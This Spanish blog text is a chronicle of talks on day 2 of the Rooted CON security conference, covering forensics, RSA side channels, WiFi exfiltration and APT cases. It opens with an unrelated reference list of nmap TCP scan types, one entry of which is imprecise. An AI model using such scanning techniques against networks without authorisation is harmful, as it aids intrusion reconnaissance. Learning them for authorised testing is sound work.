-sS: SYN Stealth. Envía un SYN. Técnica usada por defecto. Si Closed: Recibe RST, Open: Recibe SYN/ACK, Filtered: ICMP unreachable o expira el timeout.
-sT: Connect. Envía un SYN, luego un RST para cerrar conexión. Si Closed: Recibe RST, Open: Recibe SYN/ACK, Filtered: ICMP unreachable o expira el timeout.
-sA: TCP ACK. Envía ACK vacío. Sólo determina si los puertos están o no filtrados. Si Unfiltered: Recibe RST, Filtered: ICMP error; expira el timeout.
-sN: TCP NULL. Envía TCP con todos los flags a 0. Closed: Recibe RST. Filtered: Recibe ICMP unreachable. Open|Filtered: expira el timeout.
-sF: TCP FIN. Envía TCP con el flag FIN a 1. Closed: Recibe RST. Filtered: Recibe ICMP unreachable. Open|Filtered: expira el timeout.
-sX: XMas Scan. Envía TCP con los flags FIN, PSH y URG a 1. Closed: Recibe RST. Filtered: Recibe ICMP unreachable. Open|Filtered: expira el timeout.

Crónica Rooted CON – Día 2

El segundo día de este congreso comenzó de la mano de Jose Luis Verdeguer (@pepeluxx) y Victor Seva (@linuxmaniac), que en su charla “Secure Communications System” concienciaron a los presentes de que en un sistema de comunicación, aunque las transmisiones se cifren de extremo a extremo siempre pueden haber mecanismos que permitan realizar técnicas de tipo “man-in-the-middle”, por lo que no es recomendable confiar en infraestructuras de terceros si la privacidad es crucial. Como colofón, presentaron un sistema de comunicaciones libre, basado en VOIP, en el que prima la seguridad, y que estará disponible para su descarga en breve.

A continuación, Joaquín Moreno (@MoxilO), ex-compañero de Security Art Work, realizó una densa charla sobre forense en Mac OS X titulada “Forense a bajo nivel en Mac OS X”. El trabajo realizado por Joaquín es parte de su tesis de máster, y además, prometió publicarlo en cuanto lo presentase, por lo que los interesados podremos asimilar de manera más tranquila todos los conceptos presentados en el breve tiempo del que dispuso. Además, Joaquín está implementando su trabajo a modo de complementos para Plaso, una herramienta para generar líneas temporales cuando se realizan análisis forenses.

Tras un breve descanso en el que pudimos disfrutar de las ya tradicionales conchas Codan, Jorge Ramió (con el que tuvimos una entrevista en Security Art Work), reconocido criptógrafo y profesor de la UPM, realizó una charla denominada “RSA cumple 36 años y se le ha caducado el carné joven” donde tras una breve introducción al algoritmo de cifrado RSA, explicó cómo éste ha sido capaz de afrontar sus 36 años de existencia mediante el aumento de la cantidad de bits necesarios para generar las claves criptográficas. No obstante, Ramió también mostró técnicas de “crackeo” independientes de la longitud de clave y del algoritmo. Estas técnicas, conocidas como ataques de canal lateral consisten, por ejemplo, en escuchar el sonido que emiten los sistemas al realizar los cálculos, o medir la potencia eléctrica que consumen para así poder recuperar la clave criptográfica y poder descifrar los datos.

En la siguiente charla, José Luís Quintero y Félix Estrada, Centro de Operaciones de Seguridad de la Información del Ministerio de Defensa (COSDEF), dieron una charla sobre ciberguerra titulada “Ciberguerra. De Juegos de Guerra a La Jungla 4”, que como su título indica, fue amenizada con referencias a clásicos del cine como Juegos de Guerra.

A continuación, Jeremy Brown y David Seidman, de Microsoft, iban a presentar su charla “Microsoft Vulnerability Research: How to be a finder as a vendor”. No obstante, al no poder asistir David Seidman, fue Jeremy Brown quien finalmente dio un repaso a los programas de compensación para los investigadores de seguridad que deciden colaborar con Microsoft.

Antes del descanso, Chema Alonso (@chemaalonso) habló sobre su ojito derecho, Latch, en una charla titulada “Playing and Hacking with Digital Latches”. Como muchos ya sabréis, esta herramienta permite definir a los usuarios si pueden acceder, o no, a sus redes sociales. De este modo, se garantiza que si un usuario no requiere acceder a un recurso, nadie más puede hacerlo empleando su cuenta.

Tras un breve descanso, Miguel Tarasco presentó AcrylicWifi en su charla “Análisis WiFi de forma nativa en Windows”. AcrylicWifi es una herramienta de análisis de seguridad y monitorización de redes inalámbricas para sistemas Windows desarrollada por Tarlogic. A su vez, Andrés Tarasco presentó en “Ataques dirigidos con APTs Wi-Fi” el protocolo WXP (Wireless exfiltration Protocol), cuyo fin es el de comunicar los sistemas afectados por un APT con su Command & Control a través de los probe request y probe response de la tecnología WiFi.

Roberto Baratta (@RoberBaratta), dio consejos sobre cómo mejorar la seguridad informática con un presupuesto casi nulo en su charla “Monetización de la seguridad”. La última charla del día vino de la mano de César Lorenzana y Javier Rodríguez (@javiover) del Grupo de Delitos Telemáticos de la Guardia Civil (@GDTGuardiaCivil), exponiendo un caso de éxito en su ponencia “Por qué los llaman APT cuando lo que quieren decir es dinero” detallaron un caso que resolvieron sobre APTs.